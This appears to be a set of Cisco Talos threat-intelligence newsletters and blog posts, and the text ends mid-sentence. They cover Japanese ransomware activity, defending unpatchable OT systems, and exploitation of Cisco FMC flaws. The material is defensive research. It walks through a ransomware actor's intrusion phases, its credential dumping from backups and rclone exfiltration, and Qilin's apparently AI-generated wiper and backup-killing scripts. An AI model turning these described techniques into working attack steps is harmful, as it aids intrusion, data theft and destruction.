Welcome to this week’s edition of the Threat Source newsletter. 

There’s been a lot of talk recently about slowing down the pace of AI development. And yes, there are legitimate moral, ethical, geopolitical, and safety concerns with the use of AI. It’s not clear yet whether an AI slowdown could happen, let alone whether it should (hat tip to Dr. Ian Malcolm). I admit, I’m not really qualified to opine on the impacts unrestricted AI might have on bioterrorism, the balance of international power, or even our chances of being eaten by dinosaurs. What I can tell you, though, is that any sort of “AI slowdown” is not likely to have much of an impact on cybersecurity.  

There are a few reasons to think this. The most obvious one is that models are already really good. We’re at the point where the newest models bring only incremental improvements in cybersecurity capabilities. Arguably, they’ve been getting better so fast that our ability to use them effectively for defensive tasks hasn’t kept up. On the offensive side, practically every recent model is already able to mine decades of tech debt to uncover an uncomfortable number of vulnerabilities. Instead of chasing model improvements, our best strategy might be to improve our agentic harnesses and frameworks, essentially giving us better capabilities with our existing models. 

Maybe even more importantly, many of us are still not eating our cyber-vegetables. I get it: AI is hot. It’s sexy. It brings the money and the board’s attention. But no matter how great your AI is, if it’s sitting on the typical two-and-a-half-legged stool that is most IT environments, you’re still going to have compromises and breaches no matter how much AI you throw at it. We’ve known for a long time now that good security depends on things like asset and role inventories, identity management, least privilege, and segmented networks. They’re not as shiny as AI, but they’re more impactful in terms of making it harder for threats both human and agentic to successfully carry out attacks. This is not to say that you shouldn’t be looking at AI until you’ve solved all your other security problems; just don’t look only to AI. 

Regardless of whether we slow the pace of AI development or not, we still have plenty of places to make significant security improvements using the models we already have access to. By making better use of what we already have and by investing in well-known security fundamentals, we can come out ahead no matter whether AI development accelerates, slows down, or is trapped in a kitchen with a pack of hungry velociraptors. 

P.S. I’ve got some speaking engagements coming up soon (see below). If you see me, don’t be shy about asking for a Pyramid of Pain sticker or button! 

The one big thing  

Cisco Talos is sharing new insights into Japan's ransomware landscape, where incidents rose nearly 5 percent in the first half of 2026. This increase is driven by two prominent actors: "The Gentlemen," a rapidly expanding ransomware-as-a-service group, and "Qilin," which is leveraging generative AI to streamline its attacks. Both groups are aggressively targeting small- and medium-sized enterprises with double-extortion tactics. 

Why do I care? 

Adversaries are working smarter, not harder. Qilin uses large language models to generate destructive scripts, accelerating their attack speed and lowering the barrier to entry. Meanwhile, The Gentlemen relies on legitimate red-teaming frameworks like AdaptixC2 to blend in, making lateral movement difficult to detect. This combination of AI-driven efficiency and stealthy techniques puts organizations at risk of data theft and operational disruption. 

So now what? 

Strictly manage internet-accessible devices and lock down credentials. Start by auditing VPNs, disabling unused features, and enforcing multi-factor authentication (MFA) across all administrative and third-party accounts. Ensure you have robust endpoint detection to monitor for suspicious remote access or attempts to disable backups. Finally, update your defenses using the Snort rules provided in the full blog to help detect and block this activity. 

Top security headlines of the week 

Indonesia hit by Android banking app-cloning campaign 
Indonesia has emerged as an early testing ground for a new Android banking malware technique that uses Google's Work Profile feature to help fraudsters evade banking security controls. (Dark Reading) 

Apple patches 200 vulnerabilities with new iOS 27, macOS Golden Gate 27 releases  
Approximately 100 of the resolved security defects affect both the mobile and desktop operating systems. The fixes target more than 90 platform components, including AppleKeyStore, Authentication Services, Foundation, Safe Browsing, Sandbox, Security, TCC, and WebKit. (SecurityWeek) 

ClickFix attacks are tricking Mac and Windows users into hacking themselves 
Hackers posting fake ads on Reddit, linking to a page that looks like HBO Max but contains a ClickFix lure that tricks people into hacking themselves. The hackers compromised the official HBO Max’s account on Reddit that was then used to post hundreds of fake but real-looking adverts to the news-sharing site. (TechCrunch) 

VectraRAT can hack Windows enterprises for $250 per month 
VectraRAT, a previously undocumented platform that includes a full-featured Windows implant, command-and-control (C2) infrastructure, and an operator panel built entirely from scratch rather than based on existing malware (Dark Reading) 

Can’t get enough Talos? 

Securing the unpatchable in an age of AI-driven vulnerabilities 
Advances in AI technology will continue to identify vulnerabilities that in some circumstances are difficult, or effectively impossible, to patch. Appropriate network segmentation, rigorous visibility, and the deployment of NGFW/IPS combinations can provide a powerful compensatory layer. 

Beers with Talos: Martin Lee would like everyone to go outside 
Martin may have stopped being a Talos employee, but we made him come on the podcast anyway to talk about abandoning his early career aspirations of researching human viruses so he could play on the internet — and also running very long distances in crazy conditions. 

Upcoming events where you can find Talos 

• LABSCon (Sept. 16 – 19) Scottsdale, AZ 
• VB (Oct. 14 – 16) Seville, Spain 
• CAMLIS (Oct. 21 – 23) Arlington, VA 
• SecurityOnion Conference (Oct. 23) Augusta, GA 
• BsidesAugusta (Oct. 24) Augusta, GA 
• SAINTCON (Oct. 26 – 30) Provo, UT 

Most prevalent malware files from Talos telemetry over the past week 

SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
Example Filename: VID001.exe  
Detection Name: W32.9F1F11A708-100.SBX.TG** 

SHA256: c4dd71e347a076ba24bdd2d0ee532ef991c1ef25a2431a19f850942ba2ab16b2 
MD5: 9a47c4d379998ade2f8f99e23a630c06  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=c4dd71e347a076ba24bdd2d0ee532ef991c1ef25a2431a19f850942ba2ab16b2 
Example Filename: WCInstaller_NonAdmin.exe  
Detection Name: W32.C4DD71E347-95.SBX.TG 

SHA256: 9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f  
MD5: 38de5b216c33833af710e88f7f64fc98  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f 
Example Filename: SECOH-QAD.exe  
Detection Name: Win.Tool.Procpatcher::1201 

SHA256: 38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55  
MD5: 41444d7018601b599beac0c60ed1bf83  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55 
Example Filename: content.js  
Detection Name: W32.38D053135D-95.SBX.TG 

SHA256: fed979f93bcaf4e73ebd25748093a92095d5109cbd01d55f97bdc50ce509ad2f 
MD5: 207d9d891ac756b2bfad88aba5682c65  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=fed979f93bcaf4e73ebd25748093a92095d5109cbd01d55f97bdc50ce509ad2f 
Example Filename: AAct.exe  
Detection Name: W32.FED979F93B-95.SBX.TG**

Victimized companies

Figure 1 summarizes ransomware incidents affecting Japanese companies from January to July 2026. According to Cisco Talos research, 90 organizations in Japan were affected by ransomware during this period. Compared with 86 incidents during the same period from January to July last year, this represents a slight increase of approximately 4.7%, indicating that ransomware incidents continue to remain at a high level.

On a monthly basis, there were approximately 13 incidents per month on average. The number of incidents increased in March and April, with April recording the highest number during the period at 19 incidents.

Cases involving overseas offices and subsidiaries accounted for 13.3% of the total. Among these, Taiwan recorded the highest number of incidents, followed by the United States and the Philippines, which recorded the same number of incidents, with multiple cases identified in each country.

The manufacturing sector continued to be the most affected industry, accounting for 34% of incidents, followed by the information and communications sector at 11% and the services sector at 9% (see Figure 2).

In terms of the size of the affected organizations, those with capital of less than JPY 100 million accounted for the largest share at 48%, followed by organizations with capital of JPY 100 million to less than JPY 1 billion at 30%. Combined, organizations with capital of less than JPY 1 billion accounted for 78% of the total, representing an increase of around 13% from 69% in 2025. This suggests that attackers are increasingly focusing their efforts on small- and medium-sized enterprises (see Figure 3).

Most frequently observed ransomware types in Japan

In Japan, the most frequently observed ransomware group in the first half of 2026 was The Gentlemen, with 14 incidents. This was followed by Qilin, which caused the highest number of incidents last year, and SafePay, which had relatively few confirmed incidents during the same period last year, with seven incidents each.

The Gentlemen and SafePay have increased their activity this year and can be considered emerging ransomware groups that require increased vigilance. Other ransomware groups observed include NightSpire, NetRunner, LockBit 5.0, RansomEXX, Stormous, and AiLock.

Looking at the ransomware groups observed this year, very few of the groups that were active during the same period last year have been observed, highlighting the rapid changes in the ransomware threat landscape.

In the following sections, we examine the most prominent groups during the period, The Gentlemen and Qilin, and provide an overview of The Gentlemen, the tools it uses, attack flow and findings related to its attribution, as well as examining Qilin’s use of AI.

Overview of The Gentlemen ransomware

The Gentlemen ransomware group has been active since around July 2025. Although it is a relatively new group, it has been expanding its operations through a Ransomware-as-a-Service (RaaS) model and has already caused significant damage to organizations worldwide. The group uses a double-extortion strategy, encrypting victims’ data while also threatening to publish stolen information unless a ransom is paid.

Figure 6 shows the monthly number of listings on The Gentlemen data leak site worldwide. From January to July 2026, the number of listings shows an overall upward trend despite some month-to-month fluctuations. The number increased sharply from 48 in January to 87 in February. From March through May, it remained relatively stable at around 70 – 74 listings per month.

In June, however, the number exceeded 100 for the first time, reaching 108, and remained high at 105 in July. In particular, the figures for June and July were notably higher than those in the preceding months, indicating that listing activity has intensified compared with the beginning of the year. Compared with 48 listings in January, the 105 listings recorded in July represent an increase to approximately 2.2 times the January level.

By industry, manufacturing accounted for the largest share at 21%, followed by professional, scientific, and technical services at 16%, and wholesale trade at 13%. These three industries clearly stood out in terms of the number of incidents.
Among the remaining industries, retail trade accounted for 6%, while construction and health care/social assistance each accounted for 5%, showing a substantial gap from the top three. Incidents were also observed across a wide range of other industries, including information, finance and insurance, transportation and warehousing, and educational services.
Overall, while the activity is not concentrated exclusively in any single industry, manufacturing; professional, scientific, and technical services; and wholesale trade are particularly prominent in terms of the number of observed cases.

Investigation of The Gentlemen’s open directory infrastructure

Talos identified open directory infrastructure believed to have been used by a threat actor associated with The Gentlemen. During our investigation, we observed numerous tools used to support ransomware operations. Our investigation found ransomware targeting ESXi and Windows environments linked to The Gentlemen. We also identified RustHound, a cross-platform Rust-based tool used to collect Active Directory (AD) information required for attack path analysis with BloodHound; exploit code targeting CVE-2025-2479, a SQL injection vulnerability that can allow unauthorized manipulation of databases; the adversary-in-the-middle (AitM) tool Responder; impacket-partial-mic, which can be used for NTLM authentication relay attacks; Ligolo-ng, which establishes tunnels into compromised networks and enables access to internal networks from external systems; the tunneling tool chisel; the remote desktop tool AnyDesk; and the file transfer tool Rclone.

Figure 8 illustrates the attack flow inferred from the commands recorded in .bash_history.

In Phase 1, the actor uses VPN software and tools such as Chisel and Ligolo to establish network routes and turn its server into an attack platform. The actor then repeatedly installs and configures reconnaissance tools such as nmap and masscan, along with BloodHound, NetExec, Responder, and Impacket for targeting AD environments, all within the same command history.

Once the attack platform had been established, the threat actor proceeded to Phase 2: target reconnaissance. They appear to have used Masscan and Nmap to assess publicly exposed hosts, VPN-related ports, web services, SMB, and other active services in order to understand the external and internal network structure. Upon gaining access to the internal network, they used NetExec to enumerate SMB shares, host information, LDAP, and computer information in Active Directory. They may also have used RustHound/BloodHound-related tools to collect domain users, groups, computers, administrative privileges, and trust relationships, with the aim of identifying paths that could be used for lateral movement and privilege escalation.

Following target selection, during Phase 3, we observed the actor downloading and executing Proofs of concept, reconnaissance scripts, and attack tools associated with known vulnerabilities against publicly exposed web services and administrative interfaces. Specifically, the actor attempted to exploit CVE-2025-24799, an unauthenticated SQL injection vulnerability in GLPI, using both a PoC and sqlmap to retrieve user information from the database. The actor also used a scanner targeting cPanel/WHM and downloaded and executed a PoC to test for authentication bypass vulnerabilities.

In Phase 4, the threat actor leveraged the information obtained in Phase 3 to expand the operation into the internal network and Active Directory environment. The actor appears to have collected and validated credentials used within the target environment in an attempt to gain access to multiple hosts and services.
The command history shows the installation and execution of tools targeting Windows authentication and Active Directory, including Responder, NTLM relay-related tools, Impacket, and NetExec. We also observed traces suggesting the exploitation of CVE-2020-1472 (Zerologon) and the vulnerabilities associated with MS17-010.
In Phase 5, the threat actor not only investigated the internal network but also used compromised access paths and credentials to move incrementally toward more critical hosts. The actor used VPN, Chisel, Ligolo-ng, SSH, and Proxychains to establish communication paths from the attacker-controlled server into the target organization’s internal network. They then used NetExec and Impacket to attempt authentication to services such as SMB, LDAP, RDP, and WinRM, seeking access to multiple hosts and attempting lateral movement. This activity indicates an effort to reach critical servers and Active Directory management infrastructure within the internal network.
In Phase 6, involving information collection and exfiltration, the threat actor mounted a backup share via CIFS at /mnt/Backup and inspected the Windows file system within VHDX backups. The command history records the installation of libguestfs-tools, qemu-utils, and nbd-client, the creation of directories such as /mnt/vhdx, and the copying of ntds.dit, SAM, and SYSTEM. The actor then used Impacket’s secretsdump.py to extract credentials and password hashes from the collected ntds.dit and SAM files, saving the results as “ntds.txt” and “SAM.txt”. We also identified traces indicating that the VHDX files were compressed with zstd and transferred to cloud storage services such as Wasabi using rclone. The attackers initially attempted the transfer using the default settings and subsequently reconfigured and reran the process to improve transfer speed and communication stability. The VHDX file was split into 256MiB chunks, with up to 16 files uploaded concurrently to reduce the overall upload time. Detailed progress reporting, connection timeouts, retries following transfer failures, and logging to a file were also specified. This suggests that the attackers were deliberately focused on exfiltrating large volumes of data and intended to maintain and monitor the transfer process.

Following the completion of an operation or at the end of each work phase, the threat actor deleted credential dumps, scan results, Responder-related files, pivoting tools, and temporary files stored on the attacker-controlled server. As shown in Figure 11, the command history contains evidence of deletion activities such as the following:

In addition, as shown in Figure 12, we found that The Gentlemen uses the open-source AdaptixC2 framework for command-and-control (C2) operations.

AdaptixC2 is a C2 post-exploitation framework designed for penetration testing and red team operations. However, The Gentlemen may be using it in real-world attacks.
The tool can also be extended through agents, listeners, and scripts. In addition, it supports multiple communication protocols, including HTTP/S, DNS/DoH, and SMB, making it adaptable to various network environments. Due to this flexibility, AdaptixC2 can be useful not only for legitimate red team operations but also for malicious actors.

Attribution

Among these traces, we discovered a Bash script. The tool itself is relatively simple, periodically sending ping requests to a specified IP address and logging whether the host is reachable. However, we identified Russian-language comments within the script.

Additionally, the contents of the .bash_history file left in the attacker’s environment contained “црщфьш” (whoami), “ды” (ls), “шз ф” (ip a), “сдуфк” (clear), and “уше” (exit). This suggests that the attacker may have been using a Russian keyboard layout, indicating the possibility that a Russian-speaking individual was involved in the attack. As The Gentlemen is suspected to be led by individuals based in Russia, this further supports the connection to the group.

Indications of generative AI use found in Qilin’s open directory

When we investigated the environment affected by the Qilin attack, Talos identified several characteristics in Python scripts found in an open directory used by Qilin that suggest, with medium-to-high confidence, that scripts may have been generated using AI.

Figure 16 shows part of a Python script named “deadman.py”. This tool deploys destructive actions to multiple machines in a Windows/Active Directory environment at a specified time and centrally manages their status.

The do_gpo function shown in Figure 16 uses an AD Group Policy Object (GPO) to deploy the wiper broadly across Windows machines within the domain. This function uses Active Directory Group Policy Objects (GPOs) to deploy a wiper across Windows endpoints within the domain. The code also contains comments such as # Stage wipe payload to SYSVOL, # Stage startup script, and # Create GPO via PowerShell on DC, suggesting that an LLM may have structured the overall process as a workflow: (1) Stage the payload → (2) Stage the startup script → (3) Create the GPO.

Figure 17 shows an excerpt from “veeam_kill.py”, a Python script designed to stop, disable, and destroy Veeam backups. As shown in Figures 17 and 18, the main() function clearly divides the overall process into four stages, labeled “Step 1” through “Step 4,” with comments and progress logs provided at a consistent level of detail for each step.

We also identified traces of code that appears to have been generated by an LLM in “deploy_locker.py”, a script used to distribute and execute ransomware across multiple endpoints. As shown in Figure 19, the script begins with documentation-style text describing the tool’s purpose, prerequisites, and usage examples, a format commonly seen when an LLM generates code from a given specification. In addition, as observed in the code discussed above, the script also contains comments that explain the processing flow step by step.

As shown in Figure 20, a portion of the “.bash_history” file also contains a history of commands used to inspect the contents of a directory associated with a tool named llm_chatbot, which appears to be related to LLM-based generation.

Measures to prevent intrusions

Our investigation found that vulnerabilities and misconfigurations in VPNs, remote access environments, and network devices were prominent initial access vectors. Talos also identified multiple cases in which threat actors gained access to internal networks by abusing stolen credentials or legitimate accounts. Therefore, managing internet-accessible devices and services and protecting credentials remain top priorities.

First, organizations should regularly inventory internet-accessible devices and services, including VPNs and remote desktop services. Unused devices and functions should be disabled, vulnerability advisories should be monitored continuously, and security patches should be applied promptly. Devices that are no longer supported should also be replaced in a planned manner. Restricting access to management interfaces by source IP address and minimizing the externally accessible attack surface are also effective measures.

To prevent the abuse of credentials, organizations should implement multi-factor authentication (MFA) for VPNs, cloud services, remote desktop services, and administrative accounts. Shared accounts and accounts that have not been used for extended periods should also be reviewed, while accounts used for routine work should be separated from those used for administrative tasks. Administrative privileges should be limited to the minimum necessary. Monitoring logins from unusual locations or at unusual times, as well as suspicious account creation, can also help detect the misuse of credentials at an early stage.

Because incidents involving third-party vendors, subsidiaries, and cloud environments were also observed, access controls should extend beyond the organization’s own environment to cover external organizations and services. Access granted to vendors and other third parties should be limited to the minimum necessary and restricted to a defined period. Organizations should also enforce multifactor authentication and retain connection logs to reduce the risk of intrusion through third-party environments. Subsidiaries and overseas locations should be encouraged to manage vulnerabilities and accounts according to the same standards as the headquarters.

Meanwhile, there were also cases in which the initial access vector could not be determined. In addition to implementing preventive measures, organizations should establish processes for retaining the records required for post-incident investigations. To limit the spread of an attack, it is also effective to use EDR and other security tools to monitor activities such as suspicious remote access, the acquisition of administrative privileges, the disabling of backup functions, and large-scale file modifications.

Our investigation indicates that combining vulnerability management for internet-facing assets, credential protection, and access controls that extend to third-party vendors can provide effective protection. Rather than focusing solely on preventing every intrusion, organizations should also establish systems that enable them to detect attacks at an early stage and limit the impact if an intrusion occurs.

Coverage

The following SNORT® rules (SIDs) detect and block this threat:

• Snort 2: 1:67111
• Snort 3: 7:29

AI-assisted code analysis is uncovering decades of technical debt. Every new patch removes a newly identified coding mistake. Little by little, we are improving the state of software engineering, but the price is a cadence of patching that organizations may struggle to implement. 

These efforts leave unsupported systems, or systems that are not able to be patched for whatever reason, with unmitigated known vulnerabilities. How can such systems be secured in a world where AI is steadily improving its ability to identify new vulnerabilities? 

Operational technology (OT) systems provide the services that support modern life (e.g., medical equipment, building management systems, and industrial critical systems within chemical plants). Often the systems are certified to operate only with a defined set of software that cannot easily be altered, or operate using systems that are no longer supported. In either case, if a vulnerability is discovered that affects the system, there is no easy way for it to be patched. 

Ignoring the problem and hoping for the best is rarely an effective strategy. The U.K.’s NHS health system was significantly affected by the WannaCry worm in 2017, with a significant minority of systems running the end-of-life operating system Windows XP contributing to the problem. More recently, exploitation of end-of-life software was used to gain access to governmental systems in 2023. 

Even systems that are believed to run on a bespoke platform will almost certainly include common libraries and protocols in which vulnerabilities may be found. Vulnerable systems that are not publicly exposed can still be identified by threat actors who gain access to internal networks and pose a tempting target. 

Defending by predictability 

Applying the approved patch remains the best option. If this is not possible, we can use the inherent predictability of OT systems to protect them. 

Visibility first: You cannot protect what you cannot see. The characteristics of the network fingerprint presented by legacy systems allows them to be easily identified to build an inventory of systems requiring attention. 

Micro-segmentation: Network architecture is an effective first line of defense. Frequently, OT only ever connects to a small number of systems. By using virtual local area networks (VLANs) coupled with access control lists (ACLs), we can place vulnerable systems on private networks where only authorized devices are permitted to connect to them. By shutting them off from the rest of the network, we make it incrementally more difficult for attackers to identify them and launch their attacks. 

NGFW and IPS: Placing a next-generation firewall (NGFW) upstream allows for granular filtering. When equipped with an up-to-date intrusion prevention system (IPS), the firewall can inspect traffic to filter out any attempts at exploitation before it impacts the device. When coupled with network segmentation, we can ensure that not only are trusted systems solely communicating with the vulnerable system, but that the traffic is free from known malicious content. 

The myth of the air gap 

In theory, it is possible to create an air-gapped system that is completely disconnected from wider systems, although in practice it is difficult to achieve. Without absolute operational discipline, air gaps are frequently breached by staff or contractors seeking shortcuts. 

Temporary bridges installed to facilitate data transfer or short-term fixes involving a VPN and wireless connectivity have a habit of becoming semi-permanent features. Each shortcut provides a means by which attacks can impact the system.  

Even data diodes, hardware that physically restricts data to one-way flow, may be circumvented by shortcuts when the inconvenience of maintaining security compliance clashes with operational expedience. 

An air gap or data diode may be an appropriate solution, but defenders should understand that it is unlikely to permanently provide absolute separation, and should be vigilant for breaches of the gap. 

Conclusion 

Advances in AI technology will continue to identify vulnerabilities that in some circumstances are difficult, or effectively impossible, to patch. In situations where fixing the software isn’t possible, appropriate network segmentation, rigorous visibility, and the deployment of NGFW/IPS combinations can provide a powerful compensatory layer. 

We might not be able to prevent the discovery of vulnerabilities, but we can ensure that attackers do not have an easy path to exploit them in the field. 

Welcome to this week’s edition of the Threat Source newsletter. 

Ask anybody in this industry what the work does to the health of the people who do it and you get one word back: burnout. It's a fine word, in and of itself. It’s easy to reach for, understandable to everyone… and it's the wrong one, most of the time. 

So, story time. Last year I gave an interview with the amazing Hazel Burton about VPNFilter, and my run-in with burnout. I was a manager during that time, and it took a toll on me and on the people around me, and when it was over I didn't have language for what had happened. Neither did my peers. Neither did my leadership. Nobody was withholding help from me… we just didn't have the words.  

Enter this summer, and I was afforded a unique opportunity to mentor some MBA students on burnout in cybersecurity. I know a thing or two about it, so I leapt at a chance to share and help grow future leaders. But I decided I was going to do more than share and relieve my experiences in this industry – I wanted to give back to them and the security industry. So, I fell down a fascinating and revealing research hole and learned better words to describe my experiences over my career. 

I spent my summer reviewing trauma case studies, clinical and academic literature on trauma in career fields like first responders, doctors, social workers, and the military. There are many decades of research focusing on trauma in those fields. Subsequently, my brain is packed full of better words! For example, burnout is exhaustion from chronic workload, and it eases when the load eases. We know this one well. Secondary traumatic stress is what absorbing somebody else's trauma does to you, and it looks like trauma. Think the CTI analyst exposed to horrible things on the dark web. Vicarious trauma is what years of other people's worst days do to how you see the world. It changes your beliefs, not your mood. Work in cybersecurity long enough, and it can pile up on your views. Moral injury is the damage from being made to act against your own values, or stopped from doing what you knew was right. This one can affect anyone who’s ever owned an outcome, but not the decision, and that’s common in this industry. 

One word, four injuries, and four different fixes. All of them are present in the industry that is cybersecurity. The problem? We’re just a young industry. Compared to medical, helping professions, or social workers, we’re incredibly immature with understanding the consequences of the work and the toll it takes on us. Next week I’ll be revealing my research and a peer-deployable framework to help others process, cope, and respond in healthy ways to keep us all in a better mental space, and staying in this good fight of protecting others.  

I'm still not good at this. I'm writing it all down because I was bad at it in a way that cost me something. There's more of this in my talk at CYBR.SEC.CON next week if you're in Houston. 

Go ask somebody how they're doing and wait for the answer. Be present for them. It matters.  

Take care of yourselves, and take care of each other. 

The one big thing  

Cisco Talos is disclosing a complex WebDAV infection chain discovered after investigating an incident at a Ukrainian government organization. Attributed to a Russian threat actor tracked as UAT-10820, the campaign delivers the Amatera stealer alongside secondary payloads like ZigCryptoStealer and NetSupport Manager. Despite the high-profile initial victim, we assess with moderate confidence that this is an opportunistic, broad-based cryptocurrency and credential-stealing operation rather than a highly targeted attack. 

Why do I care? 

Threat actors are getting really creative with their delivery mechanisms and evasion tactics. By abusing legitimate infrastructure like the BNB Smart Chain for bulletproof hosting and leveraging fake CAPTCHA prompts, attackers can easily bypass traditional web filters. Additionally, the secondary payloads pack a serious punch. The inclusion of a vulnerable driver to terminate EDR software and the deployment of unauthorized remote access tools give attackers deep, persistent control over infected systems. 

So now what? 

Security teams should monitor for unusual WebDAV activity and the execution of disguised DLLs through "rundll32.exe" using suspicious ordinal calls. Make sure to educate your users on the dangers of copying and pasting commands from fake verification prompts. Since the Amatera payload often resides entirely in memory, defenders should also ensure their endpoint solutions are configured for robust memory scanning. Finally, you can find a comprehensive list of indicators of compromise (IOCs) in the full blog. 

Top security headlines of the week 

New Microsoft Defender 'ShieldCrash' zero-day grants SYSTEM access 
An anonymous security researcher known as Nightmare Eclipse has released a new Microsoft Defender zero-day exploit named "ShieldCrash" right after Microsoft rolled out its September 2026 Patch Tuesday security updates. (Bleeping Computer) 

North Korean hackers deploy new Linux espionage toolkit 
The stealthy toolkit embeds a backdoor in HAProxy and targets automotive and media organizations in South Korea for long-term surveillance. The toolkit supports remote command execution, credential harvesting, and script injection into web traffic. (SecurityWeek) 

Attackers use multi-hop Google redirects for phishing campaign 
What sets this campaign apart is that in order to bypass gateways, email filters, and other security tools, the link relies on a chain of redirects across Google domains, intending for link inspectors to see multiple Google domains and let the URL through. (DarkReading) 

OpenAI agents took over Wiki site before Hugging Face attack 
A team of independent researchers revealed the parallel incident on Sept. 4, which was first reported by Reuters, affecting a largely defunct German language wiki for programmers called “DeutschesSoftwareEntwickler wiki.” (DarkReading) 

Can’t get enough Talos? 

Patch Tuesday for September 2026 
Microsoft has released its monthly security update for September 2026, which includes 973 vulnerabilities affecting a range of products, including 113 that Microsoft marked as "critical." 

Active exploitation of Cisco Secure Firewall Management Center vulnerabilities 
Cisco Talos is actively tracking the exploitation of two vulnerabilities in Cisco’s Secure Firewall Management Center (FMC) Software: CVE-2026-20079 and CVE-2026-20316. Customers are strongly advised to apply hotfixes for affected software versions already released by Cisco. 

ClickFix moves into the browser: Cryptocurrency theft with Google-hosted C2 
Cisco Talos is tracking a cryptocurrency-stealing campaign that abuses the Google Visualization API for command and control (C2), retrieving obfuscated JavaScript from a publicly published Google Sheets document and injecting it into the victim's browser session. 

Browser betrayal: When your tabs turn against you 
Security Engineer Sean Gallagher joins Amy to break down a scam where threat actors are weaponizing greed to turn amateur cybercriminals against themselves. While this current operation mostly targets the amateur dark-web circuit, the underlying use of the Google Visualization API as a command-and-control channel is a red flag for the future of web security. 

Upcoming events where you can find Talos 

• .conf26 (Sept. 14 – 17) Denver, CO 
• CYBR.SEC.CON. (Sept. 15 – 16) Houston, TX 
• LABSCon (Sept. 16 – 19) Scottsdale, AZ 
• VB (Oct. 14 – 16) Seville, Spain 
• CAMLIS (Oct. 21 – 23) Arlington, VA 

Most prevalent malware files from Talos telemetry over the past week 

SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
Example Filename: VID001.exe  
Detection Name: W32.9F1F11A708-100.SBX.TG** 

SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59  
MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59 
Example Filename: tmp00055df5.dll  
Detection Name: Auto.90B145.282358.in02 

SHA256: c4dd71e347a076ba24bdd2d0ee532ef991c1ef25a2431a19f850942ba2ab16b2 
MD5: 9a47c4d379998ade2f8f99e23a630c06  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=c4dd71e347a076ba24bdd2d0ee532ef991c1ef25a2431a19f850942ba2ab16b2 
Example Filename: sample.exe 
Detection Name: W32.C4DD71E347-95.SBX.TG 

SHA256: 9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f 
MD5: 38de5b216c33833af710e88f7f64fc98 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f 
Example Filename: SECOH-QAD.exe  
Detection Name: Win.Tool.Procpatcher::1201 

SHA256: 5bb86c1cd08fe5e1516cba35c85fc03e503bd1b5469113ffa1f1b9e10897f811  
MD5: f3e82419a43220a7a222fc01b7607adc 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=5bb86c1cd08fe5e1516cba35c85fc03e503bd1b5469113ffa1f1b9e10897f811 
Example Filename: 5bb86c1cd08fe5e1516cba35c85fc03e503bd1b5469113ffa1f1b9e10897f811.exe  
Detection Name: Win.Dropper.Suloc::1201 

Cisco Talos is actively tracking the exploitation of two vulnerabilities in Cisco’s Secure Firewall Management Center (FMC) Software. First, CVE-2026-20079 is an authentication bypass vulnerability in unpatched instances of Cisco’s Secure FMC Software, which allows an unauthenticated, remote attacker to bypass authentications and execute scripts on impacted devices to obtain root access to the underlying operating system. Second, CVE-2026-20316 is a vulnerability that allows a remote attacker to log in using a low-privileged account.

CVE-2026-20079 is a critical vulnerability with a CVSS score of 10.0. Customers are strongly advised to follow Cisco’s guidance provided in the security advisory and apply the security patches previously made available.

CVE-2026-20316 has a CVSS score of 5.3, however it can be used with other Cisco Secure FMC vulnerabilities to elevate privileges.

Due to Talos identifying in the wild abuse of these CVE’s, customers are strongly advised to apply hotfixes for affected software versions already released by Cisco for CVE-2026-20079 and CVE-2026-20316. A comprehensive hardening release consisting of these hotfixes along with other internally discovered vulnerabilities will be released next week (Week of September 14th).

Talos’ analysis illustrates three clusters of post-compromise activity on FMC instances associated with state-sponsored and crimeware threat actors, as described below. The first cluster which we track as UAT-12197, involves the exploitation of CVE-2026-20079, leading to the deployment of web shells, a Java Archive (JAR)-based command executor, and credential exfiltration.

The second intrusion cluster, which we attribute to UAT-11823, consisted of the exploitation of CVE-2026-20079 and CVE-2026-20316, leading to the deployment of a Netcat-based reverse shell and proxy tooling, ultimately leading to the deployment of a variant of the Cyclops Blink malware, previously attributed to the Russian APT Sandworm by the United States and United Kingdom.

Talos is further disclosing a third cluster of malicious activity on an FMC instance, attributed to UAT-11988, who we assess with high confidence is a ransomware operator. The preliminary stages of the attack entailed the threat actor gaining access to the system via static credentials (CVE-2026-20316) and then abusing legitimate built-in FMC tooling in living-off-the-land (LOTL) fashion to conduct extensive reconnaissance of the victim’s environment, deploy tunneling tools to maintain network access, harvest credentials, and build a target list of endpoints to encrypt/lock. Subsequent actions and tactics, techniques, and procedures (TTPs) the threat actor used in the victim’s environment were consistent with those of Qilin ransomware affiliates.

Note: Talos would like to acknowledge and thank Avit for their contributions towards investigating Cluster #3 - UAT-11988.

Cluster #1: UAT-12197

This cluster of activity involved the successful exploitation of CVE-2026-20079 and the subsequent placement of a malicious web shell in the CSM Tomcat webroot directory. The web shell is JSP-based and Base64 decodes a parameter labelled “F6C1F0E7”, consisting of the class name to load in the JAVA process:

